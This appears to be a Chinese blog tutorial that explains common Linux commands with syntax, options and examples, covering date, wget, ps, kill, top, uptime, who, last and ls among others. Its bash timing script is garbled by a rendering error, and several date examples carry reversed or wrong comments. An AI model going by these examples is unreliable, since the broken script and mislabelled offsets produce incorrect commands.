linux命令及 参数 详解

Linux运维(CentOS) 专栏收录该内容
12 篇文章 0 订阅

1、新手必须掌握的linux 指令:
帮助命令: man –h(man --help)
1.常用系统工作命令:

  1. echo命令:

    echo (选项) (参数)
    选项: -e 激活转义字符
    使用-e选项时,若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出:
    \a 发出警告声;
    \b 删除前一个字符;
    \c 最后不加上换行符号;
    \f 换行但光标仍旧停留在原来的位置;
    \n 换行且光标移至行首;
    \r 光标移至行首,但不换行;
    \t 插入tab;
    \v 与\f相同;
    \ 插入\字符;
    \nnn 插入nnn(八进制)所代表的ASCII字符;
    参数:变量(指定要打印的变量)
    实例:
    打印带有色彩的文字
    echo -e “\e[1;31mThis is red text\e[0m”
    This is red text
    \e[1;31m 将颜色设置为红色
    \e[0m 将颜色重新置回
    颜色码:重置=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,洋红=35,青色=36,白色=37
    背景色:
    echo -e “\e[1;42mGreed Background\e[0m”
    Greed Background
    颜色码:重置=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,洋红=45,青色=46,白色=47
    文字闪动:
    echo -e “\033[37;31;5mMySQL Server Stop…\033[39;49;0m”
    红色数字处还有其他数字参数:0 关闭所有属性、1 设置高亮度(加粗)、4 下划线、5 闪烁、7 反显、8 消隐

  2. data命令:

    显示或设置系统时间与日期
    语法:
    date (选项) (参数)
    选项:
    -d<字符串>:显示字符串所指的日期与时间。字符串前后必须加上双引号;
    -s<字符串>:根据字符串来设置日期与时间。字符串前后必须加上双引号;
    -u:显示GMT;
    –help:在线帮助;
    –version:显示版本信息。

    参数:
    <+时间日期格式>:指定显示时使用的日期时间格式。
    日期格式字符串列表:
    %H 小时,24小时制(00~23)
    %I 小时,12小时制(01~12)
    %k 小时,24小时制(0~23)
    %l 小时,12小时制(1~12)
    %M 分钟(00~59)
    %p 显示出AM或PM
    %r 显示时间,12小时制(hh:mm:ss %p)
    %s 从1970年1月1日00:00:00到目前经历的秒数
    %S 显示秒(00~59)
    %T 显示时间,24小时制(hh:mm:ss)
    %X 显示时间的格式(%H:%M:%S)
    %Z 显示时区,日期域(CST)
    %a 星期的简称(Sun~Sat)
    %A 星期的全称(Sunday~Saturday)
    %h,%b 月的简称(Jan~Dec)
    %B 月的全称(January~December)
    %c 日期和时间(Tue Nov 20 14:12:58 2012)
    %d 一个月的第几天(01~31)
    %x,%D 日期(mm/dd/yy)
    %j 一年的第几天(001~366)
    %m 月份(01~12)
    %w 一个星期的第几天(0代表星期天)
    %W 一年的第几个星期(00~53,星期一为第一天)
    %y 年的最后两个数字(1999则是99)

实例:
格式化输出:
date +"%Y-%m-%d"
2009-12-07
输出昨天日期:
date -d “1 day ago” +"%Y-%m-%d"
2012-11-19
2秒后输出:
date -d “2 second” +"%Y-%m-%d %H:%M.%S"
2012-11-20 14:21.31
传说中的 1234567890 秒:
date -d “1970-01-01 1234567890 seconds” +"%Y-%m-%d %H:%m:%S"
2009-02-13 23:02:30
普通转格式:
date -d “2009-12-12” +"%Y/%m/%d %H:%M.%S"
2009/12/12 00:00.00
apache格式转换:
date -d “Dec 5, 2009 12:00:37 AM” +"%Y-%m-%d %H:%M.%S"
2009-12-05 00:00.37
格式转换后时间游走:
date -d “Dec 5, 2009 12:00:37 AM 2 year ago” +"%Y-%m-%d %H:%M.%S"
2007-12-05 00:00.37
加减操作:
date +%Y%m%d //显示前天年月日
date -d “+1 day” +%Y%m%d //显示前一天的日期
date -d “-1 day” +%Y%m%d //显示后一天的日期
date -d “-1 month” +%Y%m%d //显示上一月的日期
date -d “+1 month” +%Y%m%d //显示下一月的日期
date -d “-1 year” +%Y%m%d //显示前一年的日期
date -d “+1 year” +%Y%m%d //显示下一年的日期

设定时间:
date -s //设置当前时间,只有root权限才能设置,其他只能查看
date -s 20120523 //设置成20120523,这样会把具体时间设置成空00:00:00
date -s 01:01:01 //设置具体时间,不会对日期做更改
date -s “01:01:01 2012-05-23” //这样可以设置全部时间
date -s “01:01:01 20120523” //这样可以设置全部时间
date -s “2012-05-23 01:01:01” //这样可以设置全部时间
date -s “20120523 01:01:01” //这样可以设置全部时间

有时需要检查一组命令花费的时间,举例:
#!/bin/bash
start=KaTeX parse error: Expected 'EOF', got '&' at position 33: …an.linuxde.net &̲> /dev/null end…(date +%s)
difference=$(( end - start ))
echo $difference seconds.

  1. reboot命令:
    用来重新启动正在运行的Linux操作系统。
    语法
    reboot (选项)
    选项
    -d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果;
    -f:强制重新开机,不调用shutdown指令的功能;
    -i:在重开机之前,先关闭所有网络界面;
    -n:重开机之前不检查是否有未结束的程序;
    -w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。
    实例
    reboot //重开机。
    reboot -w //做个重开机的模拟(只有纪录并不会真的重开机)

  2. poweroff命令
    用来关闭计算机操作系统并且切断系统电源。
    语法
    poweroff (选项)
    选项
    -n:关闭操作系统时不执行sync操作;
    -w:不真正关闭操作系统,仅在日志文件“/var/log/wtmp”中;
    -d:关闭操作系统时,不将操作写入日志文件“/var/log/wtmp”中添加相应的记录;
    -f:强制关闭操作系统;
    -i:关闭操作系统之前关闭所有的网络接口;
    -h:关闭操作系统之前将系统中所有的硬件设置为备用模式。
    实例
    如果确认系统中已经没有用户存在且所有数据都已保存,需要立即关闭系统,可以使用poweroff命令。
    使用poweroff立即关闭系统:poweroff

  3. wget命令:
    用来从指定的URL下载文件。
    wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,
    如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。
    如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。
    这对从那些限定了链接时间的服务器上下载大文件非常有用。

    语法:
    wget (选项) (参数)
    选项:
    -a<日志文件>:在指定的日志文件中记录资料的执行过程;
    -A<后缀名>:指定要下载文件的后缀名,多个后缀名之间使用逗号进行分隔;
    -b:进行后台的方式运行wget;
    -B<连接地址>:设置参考的连接地址的基地地址;
    -c:继续执行上次终端的任务;
    -C<标志>:设置服务器数据块功能标志on为激活,off为关闭,默认值为on;
    -d:调试模式运行指令;
    -D<域名列表>:设置顺着的域名列表,域名之间用“,”分隔;
    -e<指令>:作为文件“.wgetrc”中的一部分执行指定的指令;
    -h:显示指令帮助信息;
    -i<文件>:从指定文件获取要下载的URL地址;
    -l<目录列表>:设置顺着的目录列表,多个目录用“,”分隔;
    -L:仅顺着关联的连接;
    -r:递归下载方式;
    -nc:文件存在时,下载文件不覆盖原有文件;
    -nv:下载时只显示更新和出错信息,不显示指令的详细执行过程;
    -q:不显示指令执行过程;
    -nh:不查询主机名称;
    -v:显示详细执行过程;
    -V:显示版本信息;
    –passive-ftp:使用被动模式PASV连接FTP服务器;
    –follow-ftp:从HTML文件中下载FTP连接文件。
    参数:
    URL:下载指定的URL地址。

实例:

使用wget下载单个文件
wget http://www.linuxde.net/testfile.zip
以下的例子是从网络下载一个文件并保存在当前目录,
在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。

下载并以不同的文件名保存
wget -O wordpress.zip http://www.linuxde.net/download.aspx?id=1080
wget默认会以最后一个符合/的后面的字符来命令,对于动态链接的下载通常文件名会不正确。

wget 限速下载
wget --limit-rate=300k http://www.linuxde.net/testfile.zip
当你执行wget的时候,它默认会占用全部可能的宽带下载。
但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。

使用wget断点续传
wget -c http://www.linuxde.net/testfile.zip
使用wget -c重新启动下载中断的文件,
对于我们下载大文件时突然由于网络等原因中断非常有帮助,
我们可以继续接着下载而不是重新下载一个文件。
需要继续中断的下载时可以使用-c参数。

使用wget后台下载
wget -b http://www.linuxde.net/testfile.zip
Continuing in background, pid 1840.
Output will be written to `wget-log’.
对于下载非常大的文件的时候,我们可以使用参数-b进行后台下载,你可以使用以下命令来察看下载进度:

tail -f wget-log
伪装代理名称下载

wget --user-agent=“Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16” http://www.linuxde.net/testfile.zip
有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。
不过你可以通过–user-agent参数伪装。

测试下载链接
当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。
我们可以增加–spider参数进行检查。

wget --spider URL
如果下载链接正确,将会显示:
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]
Remote file exists and could contain further links,
but recursion is disabled – not retrieving.
这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:
wget --spider url
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response… 404 Not Found
Remote file does not exist – broken link!!!
你可以在以下几种情况下使用–spider参数:

wget --tries=40 URL
如果网络有问题或下载一个大文件也有可能失败。
wget默认重试20次连接下载文件。
如果需要,你可以使用–tries增加重试次数。

下载多个文件
wget -i filelist.txt
首先,保存一份下载链接文件:
cat > filelist.txt
url1
url2
url3
url4
接着使用这个文件和参数-i下载。

镜像网站
wget --mirror -p --convert-links -P ./LOCAL URL
下载整个网站到本地。

–miror开户镜像下载。
-p下载所有为了html页面显示正常的文件。
–convert-links下载后,转换成本地的链接。
-P ./LOCAL保存所有文件和目录到本地指定目录。
过滤指定格式下载

wget --reject=gif ur
下载一个网站,但你不希望下载图片,可以使用这条命令。

把下载信息存入日志文件
wget -o download.log URL
不希望下载信息直接显示在终端而是在一个日志文件,可以使用。

限制总下载文件大小
wget -Q5m -i filelist.txt
当你想要下载的文件超过5M而退出下载,你可以使用。
注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。

下载指定格式文件
wget -r -A.pdf url
可以在以下情况使用该功能:
下载一个网站的所有图片。
下载一个网站的所有视频。
下载一个网站的所有PDF文件。
FTP下载:
wget ftp-url
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
可以使用wget来完成ftp链接的下载。

使用wget匿名ftp下载:
wget ftp-url
使用wget用户名和密码认证的ftp下载:
wget --ftp-user=USERNAME --ftp-password=PASSWORD url

  1. ps命令
    ps命令用于报告当前系统的进程状态。
    可以搭配kill指令随时中断、删除不必要的程序。
    ps命令是最基本同时也是非常强大的进程查看命令,
    使用该命令可以确定有哪些进程正在运行和运行的状态、
    进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,
    总之大部分信息都是可以通过执行该命令得到的。

    语法
    ps (选项)
    选项:
    -a:显示所有终端机下执行的程序,除了阶段作业领导者之外。
    a:显示现行终端机下的所有程序,包括其他用户的程序。
    -A:显示所有程序。
    -c:显示CLS和PRI栏位。
    c:列出程序时,显示每个程序真正的指令名称,而不包含路径,选项或常驻服务的标示。
    -C<指令名称>:指定执行指令的名称,并列出该指令的程序的状况。
    -d:显示所有程序,但不包括阶段作业领导者的程序。
    -e:此选项的效果和指定"A"选项相同。
    e:列出程序时,显示每个程序所使用的环境变量。
    -f:显示UID,PPIP,C与STIME栏位。
    f:用ASCII字符显示树状结构,表达程序间的相互关系。
    -g<群组名称>:此选项的效果和指定"-G"选项相同,当亦能使用阶段作业领导者的名称来指定。
    g:显示现行终端机下的所有程序,包括群组领导者的程序。
    -G<群组识别码>:列出属于该群组的程序的状况,也可使用群组名称来指定。
    h:不显示标题列。
    -H:显示树状结构,表示程序间的相互关系。
    -j或j:采用工作控制的格式显示程序状况。
    -l或l:采用详细的格式来显示程序状况。
    L:列出栏位的相关信息。
    -m或m:显示所有的执行绪。
    n:以数字来表示USER和WCHAN栏位。
    -N:显示所有的程序,除了执行ps指令终端机下的程序之外。
    -p<程序识别码>:指定程序识别码,并列出该程序的状况。
    p<程序识别码>:此选项的效果和指定"-p"选项相同,只在列表格式方面稍有差异。
    r:只列出现行终端机正在执行中的程序。
    -s<阶段作业>:指定阶段作业的程序识别码,并列出隶属该阶段作业的程序的状况。
    s:采用程序信号的格式显示程序状况。
    S:列出程序时,包括已中断的子程序资料。
    -t<终端机编号>:指定终端机编号,并列出属于该终端机的程序的状况。
    t<终端机编号>:此选项的效果和指定"-t"选项相同,只在列表格式方面稍有差异。
    -T:显示现行终端机下的所有程序。
    -u<用户识别码>:此选项的效果和指定"-U"选项相同。
    u:以用户为主的格式来显示程序状况。
    -U<用户识别码>:列出属于该用户的程序的状况,也可使用用户名称来指定。
    U<用户名称>:列出属于该用户的程序的状况。
    v:采用虚拟内存的格式显示程序状况。
    -V或V:显示版本信息。
    -w或w:采用宽阔的格式来显示程序状况。 
    x:显示所有程序,不以终端机来区分。
    X:采用旧式的Linux i386登陆格式显示程序状况。
    -y:配合选项"-l"使用时,不显示F(flag)栏位,并以RSS栏位取代ADDR栏位 。
    -<程序识别码>:此选项的效果和指定"p"选项相同。
    –cols<每列字符数>:设置每列的最大字符数。
    –columns<每列字符数>:此选项的效果和指定"–cols"选项相同。
    –cumulative:此选项的效果和指定"S"选项相同。
    –deselect:此选项的效果和指定"-N"选项相同。
    –forest:此选项的效果和指定"f"选项相同。
    –headers:重复显示标题列。
    –help:在线帮助。
    –info:显示排错信息。
    –lines<显示列数>:设置显示画面的列数。
    –no-headers:此选项的效果和指定"h"选项相同,只在列表格式方面稍有差异。
    –group<群组名称>:此选项的效果和指定"-G"选项相同。
    –Group<群组识别码>:此选项的效果和指定"-G"选项相同。
    –pid<程序识别码>:此选项的效果和指定"-p"选项相同。
    –rows<显示列数>:此选项的效果和指定"–lines"选项相同。
    –sid<阶段作业>:此选项的效果和指定"-s"选项相同。
    –tty<终端机编号>:此选项的效果和指定"-t"选项相同。
    –user<用户名称>:此选项的效果和指定"-U"选项相同。
    –User<用户识别码>:此选项的效果和指定"-U"选项相同。
    –version:此选项的效果和指定"-V"选项相同。
    –widty<每列字符数>:此选项的效果和指定"-cols"选项相同。

  2. top命令
    实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。
    通过top命令所提供的互动式界面,用热键可以管理。

    语法:
    top (选项)
    选项
    -b:以批处理模式操作;
    -c:显示完整的治命令;
    -d:屏幕刷新间隔时间;
    -I:忽略失效过程;
    -s:保密模式;
    -S:累积模式;
    -i<时间>:设置间隔时间;
    -u<用户名>:指定用户名;
    -p<进程号>:指定进程;
    -n<次数>:循环显示的次数。

    top交互命令:
    在top命令执行过程中可以使用的一些交互命令。
    这些命令都是单字母的,如果在命令行中使用了-s选项,其中一些命令可能会被屏蔽。

    h:显示帮助画面,给出一些简短的命令总结说明;
    k:终止一个进程;
    i:忽略闲置和僵死进程,这是一个开关式命令;
    q:退出程序;
    r:重新安排一个进程的优先级别;
    S:切换到累计模式;
    s:改变两次刷新之间的延迟时间(单位为s),如果有小数,就换算成ms。输入0值则系统将不断刷新,默认值是5s;
    f或者F:从当前显示中添加或者删除项目;
    o或者O:改变显示项目的顺序;
    l:切换显示平均负载和启动时间信息;
    m:切换显示内存信息;
    t:切换显示进程和CPU状态信息;
    c:切换显示命令名称和完整命令行;
    M:根据驻留内存大小进行排序;
    P:根据CPU使用百分比大小进行排序;
    T:根据时间/累计时间进行排序;
    w:将当前设置写入~/.toprc文件中。

实例:

# top 
top- 09:44:56 up 16 days, 21:23,  1 user,  load average: 9.59, 4.75, 1.92
Tasks: 145 total,   2 running, 143 sleeping,   0 stopped,   0 zombie
Cpu(s): 99.8%us,  0.1%sy,  0.0%ni,  0.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   4147888k total,  2493092k used,  1654796k free,   158188k buffers
Swap:  5144568k total,       56k used,  5144512k free,  2013180k cached
解释:
top - 09:44:56[当前系统时间],
16 days[系统已经运行了16天],
1 user[个用户当前登录],
load average: 9.59, 4.75, 1.92[系统负载,即任务队列的平均长度]
Tasks: 145 total[总进程数],
2 running[正在运行的进程数],
143 sleeping[睡眠的进程数],
0 stopped[停止的进程数],
0 zombie[冻结进程数],
Cpu(s): 99.8%us[用户空间占用CPU百分比],
0.1%sy[内核空间占用CPU百分比],
0.0%ni[用户进程空间内改变过优先级的进程占用CPU百分比],
0.2%id[空闲CPU百分比], 0.0%wa[等待输入输出的CPU时间百分比],
0.0%hi[],
0.0%st[],
Mem: 4147888k total[物理内存总量],
2493092k used[使用的物理内存总量],
1654796k free[空闲内存总量],
158188k buffers[用作内核缓存的内存量]
Swap:  5144568k total[交换区总量],
56k used[使用的交换区总量],
5144512k free[空闲交换区总量],
2013180k cached[缓冲的交换区总量],
  1. pidof命令:
    用于查找指定名称的进程的进程号id号。
    语法:
    pidof (选项) (参数)
    选项:
    -s:仅返回一个进程号;
    -c:仅显示具有相同“root”目录的进程;
    -x:显示由脚本开启的进程;
    -o:指定不显示的进程ID。
    参数
    进程名称:指定要查找的进程名称。

实例:
pidof nginx
13312 5371

pidof crond
1509

pidof init
1

  1. kill命令:
    用来删除执行中的程序或工作。
    kill可将指定的信息送至程序。
    预设的信息为SIGTERM(15),可将指定程序终止。
    若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。
    程序或工作的编号可利用ps指令或job指令查看。

    语法:
    kill (选项) (参数)
    选项:
    -a:当处理当前进程时,不限制命令名和进程号的对应关系;
    -l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称;
    -p:指定kill 命令只打印相关进程的进程号,而不发送任何信号;
    -s <信息名称或编号>:指定要送出的信息;
    -u:指定用户。
    参数:
    进程或作业识别号:指定要删除的进程或作业。

实例:
列出所有信号名称:
kill -l

  1. SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
  2. SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
  3. SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
    只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略,下面是常用的信号:
    HUP 1 终端断线
    INT 2 中断(同 Ctrl + C)
    QUIT 3 退出(同 Ctrl + \)
    TERM 15 终止
    KILL 9 强制终止
    CONT 18 继续(与STOP相反, fg/bg命令)
    STOP 19 暂停(同 Ctrl + Z)

先用ps查找进程,然后用kill杀掉:
ps -ef | grep vim
root 3268 2884 0 16:21 pts/1 00:00:00 vim install.log
root 3370 2822 0 16:21 pts/0 00:00:00 grep vim

kill 3268
kill 3268
-bash: kill: (3268) - 没有那个进程

  1. killall命令:
    killall命令使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。
    我们可以使用kill命令杀死指定进程PID的进程,
    如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,
    而killall把这两个过程合二为一,是一个很好用的命令。

    语法:
    killall (选项) (参数)
    选项:
    -e:对长名称进行精确匹配;
    -l:忽略大小写的不同;
    -p:杀死进程所属的进程组;
    -i:交互式杀死进程,杀死进程前需要进行确认;
    -l:打印所有已知信号列表;
    -q:如果没有进程被杀死。则不输出任何信息;
    -r:使用正规表达式匹配要杀死的进程名称;
    -s:用指定的进程号代替默认信号“SIGTERM”;
    -u:杀死指定用户的进程。
    参数:
    进程名称:指定要杀死的进程名称。

实例:
杀死所有同名进程
killall vi

如果我们在系统终端中执行一个命令后想立即停止它,可以同时按下Ctrl + C组合键(生产环境中比较常用的一个快捷键),这样将立即终止该命令的进程.

2、系统状态检测命令:

ifconfig命令:
ifconfig命令被用于配置和显示Linux内核中网络接口的网络参数。
用ifconfig命令配置的网卡信息,在网卡重启后机器重启后,配置就不存在。
要想将上述的配置信息永远的存的电脑里,那就要修改网卡的配置文件了。
语法:
ifconfig (参数)
参数:
add<地址>:设置网络设备IPv6的ip地址;
del<地址>:删除网络设备IPv6的IP地址;
down:关闭指定的网络设备;
<hw<网络设备类型><硬件地址>:设置网络设备的类型与硬件地址;
io_addr<I/O地址>:设置网络设备的I/O地址;
irq<IRQ地址>:设置网络设备的IRQ;
media<网络媒介类型>:设置网络设备的媒介类型;
mem_start<内存地址>:设置网络设备在主内存所占用的起始地址;
metric<数目>:指定在计算数据包的转送次数时,所要加上的数目;
mtu<字节>:设置网络设备的MTU;
netmask<子网掩码>:设置网络设备的子网掩码;
tunnel<地址>:建立IPv4与IPv6之间的隧道通信地址;
up:启动指定的网络设备;
-broadcast<地址>:将要送往指定地址的数据包当成广播数据包来处理;
-pointopoint<地址>:与指定地址的网络设备建立直接连线,此模式具有保密功能;
-promisc:关闭或启动指定网络设备的promiscuous模式;
IP地址:指定网络设备的IP地址;
网络设备:指定网络设备的名称

uname命令:

uname命令用于打印当前系统相关信息(内核版本号、硬件架构、主机名称和操作系统类型等)。

语法:
uname (选项)
选项:
-a或--all:显示全部的信息;
-m或--machine:显示电脑类型;
-n或-nodename:显示在网络上的主机名称;
-r或--release:显示操作系统的发行编号;
-s或--sysname:显示操作系统名称;
-v:显示操作系统的版本;
-p或--processor:输出处理器类型或"unknown";
-i或--hardware-platform:输出硬件平台或"unknown";
-o或--operating-system:输出操作系统名称;
--help:显示帮助;
--version:显示版本信息。

实例:
使用uname命令查看全部信息:
[root@localhost ~]# uname #单独使用uname命令时相当于uname -s
Linux
[root@localhost ~]# uname -a
Linux localhost 2.6.18-348.6.1.el5 #1 SMP Tue May 21 15:34:22 EDT 2013 i686 i686 i386 GNU/Linux
[root@localhost ~]# uname -m
i686
[root@localhost ~]# uname -n
localhost
[root@localhost ~]# uname -r
2.6.18-4-686
[root@localhost ~]# uname -s
Linux
[root@localhost ~]# uname -v
#1 SMP Tue May 21 15:34:22 EDT 2013
uptime命令:

uptime命令能够打印系统总共运行了多长时间和系统的平均负载。
uptime命令可以显示的信息显示依次为:现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。

语法:
uptime (选项)
选项:
-V:显示指令的版本信息。

实例:
使用uptime命令查看系统负载:

[root@LinServ-1 ~]# uptime -V #显示uptime命令版本信息
procps version 3.2.7

[root@LinServ-1 ~]# uptime
15:31:30 up 127 days, 3:00, 1 user, load average: 0.00, 0.00, 0.00
显示内容说明:
15:31:30 //系统当前时间
up 127 days, 3:00 //主机已运行时间,时间越大,说明你的机器越稳定。
1 user //用户连接数,是总连接数而不是用户数
load average: 0.00, 0.00, 0.00 // 系统平均负载,统计最近1,5,15分钟的系统平均负载
那么什么是系统平均负载呢?
系统平均负载是指在特定时间间隔内运行队列中的平均进程数。
如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。
如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。
如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了

free命令:
可以显示当前系统未使用的和已使用的内存数目,
还可以显示被内核使用的内存缓冲区。

语法:
free (选项)
选项:
-b:以Byte为单位显示内存使用情况;
-k:以KB为单位显示内存使用情况;
-m:以MB为单位显示内存使用情况;
-o:不显示缓冲区调节列;
-s<间隔秒数>:持续观察内存使用状况;
-t:显示内存总和列;
-V:显示版本信息。
实例:
第一部分Mem行解释:
total:内存总数;
used:已经使用的内存数;
free:空闲的内存数;
shared:当前已经废弃不用;
buffers Buffer:缓存内存数;
cached Page:缓存内存数。
关系:total = used + free

第二部分(-/+ buffers/cache)解释:
(-buffers/cache) used内存数:第一部分Mem行中的 used – buffers – cached
(+buffers/cache) free内存数: 第一部分Mem行中的 free + buffers + cached
可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。

第三部分是指交换分区。

who命令:

who命令是显示目前登录系统的用户信息。
执行who命令可得知目前有那些用户登入系统,
单独执行who命令会列出登入帐号,使用的终端机,登入时间以及从何处登入或正在使用哪个X显示器。

语法:
who (选项) (参数)
选项:
-H或–heading:显示各栏位的标题信息列;
-i或-u或–idle:显示闲置时间,若该用户在前一分钟之内有进行任何动作,将标示成"."号,如果该用户已超过24小时没有任何动作,则标示出"old"字符串;
-m:此参数的效果和指定"am i"字符串相同;
-q或–count:只显示登入系统的帐号名称和总人数;
-s:此参数将忽略不予处理,仅负责解决who指令其他版本的兼容性问题;
-w或-T或–mesg或–message或–writable:显示用户的信息状态栏;
–help:在线帮助;
–version:显示版本信息。
参数:
文件:指定查询文件。

实例

[root@localhost ~]# who
root     pts/0        2013-08-19 15:04 (192.168.0.134)
root     pts/1        2013-12-20 10:37 (180.111.155.40)
[root@localhost ~]# who -q
root root
# users=2
[root@localhost ~]# who -H
NAME     LINE         time             COMMENT
root     pts/0        2013-08-19 15:04 (192.168.0.134)
root     pts/1        2013-12-20 10:37 (180.111.155.40)
[root@localhost ~]# who -w
root     + pts/0        2013-08-19 15:04 (192.168.0.134)
root     + pts/1        2013-12-20 10:37 (180.111.155.40)

last命令:
last命令用于显示用户最近登录信息。
单独执行last命令,它会读取/var/log/wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。

语法:
last (选项) (参数)
选项:
-a:把从何处登入系统的主机名称或ip地址,显示在最后一行;
-d:将IP地址转换成主机名称;
-f <记录文件>:指定记录文件。
-n <显示列数>或-<显示列数>:设置列出名单的显示列数;
-R:不显示登入系统的主机名称或IP地址;
-x:显示系统关机,重新开机,以及执行等级的改变等信息。
参数:
用户名:显示用户登录列表;
终端:显示从指定终端的登录列表。
实例:
last命令用了显示用户登录情况,以下是直接显示固定行数的记录:
last -4
root pts/0 221.6.45.34 Tue Dec 17 09:40 still logged in
root pts/0 221.6.45.34 Mon Dec 16 09:00 - 11:57 (02:56)
root pts/0 222.94.97.122 Sun Dec 15 20:39 - 23:28 (02:48)
root pts/0 222.95.209.80 Sat Dec 14 14:39 - 14:58 (00:18)

history命令:
history命令用于显示指定数目的指令命令,
读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。

语法
history (选项) (参数)
选项
-c:清空当前历史命令;
-a:将历史命令缓冲区中命令写入历史命令文件中;
-r:将历史命令文件中的命令读入当前历史命令缓冲区;
-w:将当前历史命令缓冲区命令写入历史命令文件中。
参数
n:打印最近的n条历史命令。
实例:
history 10
sosreport命令:
sosreport是一个类型于supportconfig 的工具,sosreport是python编写的一个工具,
适用于centos(和redhat一样,包名为sos)、ubuntu(其下包名为sosreport)等大多数版本的linux 。
sosreport在github上的托管页面为:https://github.com/sosreport/sos ,而且默认在很多系统的源里都已经集成有。

sosreport的安装:
// redhat/centos下的安装
# yum -y insatll sos
// ubuntu下的安装
# sudo apt-get install sosreport

3、工作目录切换命令
pwd命令:
pwd命令以绝对路径的方式显示用户当前工作目录。
命令将当前目录的全路径名称(从根目录)写入标准输出。
全部目录使用/分隔。第一个/表示根目录,最后一个目录是当前目录。
执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。

语法
pwd(选项)
选项
–help:显示帮助信息;
–version:显示版本信息。
实例
[root@localhost ~]# pwd
/root

cd命令:
cd 进入用户主目录;
cd ~ 进入用户主目录;
cd - 返回进入此目录之前所在的目录;
cd … 返回上级目录(若当前目录为“/“,则执行完后还在“/";"…"为上级目录的意思);
cd …/… 返回上两级目录;
cd !$ 把上个命令的参数作为cd参数使用。

ls 命令:
ls命令用来显示目标列表,在Linux中是使用率较高的命令。
ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
语法:
ls(选项)(参数)
选项:
-a:显示所有档案及目录(ls内定将档案名或目录名称为“.”的视为影藏,不会列出);
-A:显示除影藏文件“.”和“…”以外的所有文件列表;
-C:多列显示输出结果。这是默认选项;
-l:与“-C”选项功能相反,所有输出信息用单列格式输出,不输出为多列;
-F:在每个输出项后追加文件的类型标识符,具体含义:“”表示具有可执行权限的普通文件,“/”表示目录,“@”表示符号链接,“|”表示命令管道FIFO,“=”表示sockets套接字。当文件为普通文件时,不输出任何标识符;
-b:将文件中的不可输出的字符以反斜线“”加字符编码的方式输出;
-c:与“-lt”选项连用时,按照文件状态时间排序输出目录内容,排序的依据是文件的索引节点中的ctime字段。与“-l”选项连用时,则排序的一句是文件的状态改变时间;
-d:仅显示目录名,而不显示目录下的内容列表。显示符号链接文件本身,而不显示其所指向的目录列表;
-f:此参数的效果和同时指定“aU”参数相同,并关闭“lst”参数的效果;
-i:显示文件索引节点号(inode)。一个索引节点代表一个文件;
–file-type:与“-F”选项的功能相同,但是不显示“
”;
-k:以KB(千字节)为单位显示文件大小;
-l:以长格式显示目录下的内容列表。输出的信息从左到右依次包括文件名,文件类型、权限模式、硬连接数、所有者、组、文件大小和文件的最后修改时间等;
-m:用“,”号区隔每个文件和目录的名称;
-n:以用户识别码和群组识别码替代其名称;
-r:以文件名反序排列并输出目录内容列表;
-s:显示文件和目录的大小,以区块为单位;
-t:用文件和目录的更改时间排序;
-L:如果遇到性质为符号链接的文件或目录,直接列出该链接所指向的原始文件或目录;
-R:递归处理,将指定目录下的所有文件及子目录一并处理;
–full-time:列出完整的日期与时间;
–color[=WHEN]:使用不同的颜色高亮显示不同类型的

  1. 文本文件编辑命令
    cat命令:
    cat命令连接文件并打印到标准输出设备上,cat经常用来显示文件的内容,类似于下的type命令。

注意:当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。
因此,一般用more等命令分屏显示。
为了控制滚屏,可以按Ctrl+S键,停止滚屏;
按Ctrl+Q键可以恢复滚屏。
按Ctrl+C(中断)键可以终止该命令的执行,并且返回Shell提示符状态。

语法:
cat (选项) (参数)
选项:
-n或-number:有1开始对所有输出的行数编号;
-b或–number-nonblank:和-n相似,只不过对于空白行不编号;
-s或–squeeze-blank:当遇到有连续两行以上的空白行,就代换为一行的空白行;
-A:显示不可打印字符,行尾显示“$”;
-e:等价于"-vE"选项;
-t:等价于"-vT"选项;
参数:
文件列表:指定要连接的文件列表。

实例:
设ml和m2是当前目录下的两个文件
cat m1 (在屏幕上显示文件ml的内容)
cat m1 m2 (同时显示文件ml和m2的内容)
